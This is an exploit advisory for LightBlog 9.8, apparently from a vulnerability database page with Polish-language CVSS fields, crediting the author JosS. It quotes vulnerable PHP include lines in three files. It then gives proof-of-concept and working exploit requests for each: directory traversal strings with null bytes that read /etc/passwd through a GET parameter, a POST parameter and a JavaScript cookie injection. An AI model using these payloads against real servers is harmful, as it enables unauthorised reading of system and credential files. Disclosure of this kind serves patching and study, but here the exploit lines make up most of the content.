LightBlog 9.8 (GET,POST,COOKIE) Multiple LFI Vulnerabilities

2009.02.21
Credit: JosS
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-22


Ogólna skala CVSS: 6.8/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

# LightBlog 9.8 (GET,POST,COOKIE) Multiple Local File Inclusion Vulnerabilies # url: http://www.publicwarehouse.co.uk/php_scripts/lightblog.php # # Author: JosS # mail: sys-project[at]hotmail[dot]com # site: http://spanish-hackers.com # team: Spanish Hackers Team - [SHT] # # This was written for educational purpose. Use it at your own risk. # Author will be not responsible for any damage. vuln file: view_member.php vuln code: 8: if(isset($_GET['username']) and file_exists("./accounts/".$_GET['username'].".php")){ x: ... 24: include("./accounts/{$username_get}.php"); 39: } PoC: GET view_member.php?username=[file]%00 ExP: GET view_member.php?username=../../../../../../../../../../etc/passwd%00 --- vuln file: login.php vuln code: 18: include("./accounts/".$_POST['username_post'].".php"); PoC: POST login.php?username_post=[file]%00 ExP: POST login.php?username_post=../../../../../../../../../../etc/passwd%00 --- vuln file: check_user.php vuln code: 6: if(isset($_COOKIE['Lightblog_username']) and isset($_COOKIE['Lightblog_password'])){ $username_cookie = $_COOKIE['Lightblog_username']; $password_cookie = $_COOKIE['Lightblog_password']; if(file_exists("./accounts/{$username_cookie}.php")){ 13:include("./accounts/{$username_cookie}.php"); PoC: javascript:document.cookie = "Lightblog_username=[file]%00; path=/"; document.cookie = "Lightblog_password=JosS; path=/"; ExP: javascript:document.cookie = "Lightblog_username=../../../../../../../../../../etc/passwd%00; path=/"; document.cookie = "Lightblog_password=JosS; path=/"; --- and more ... hack0wn :D


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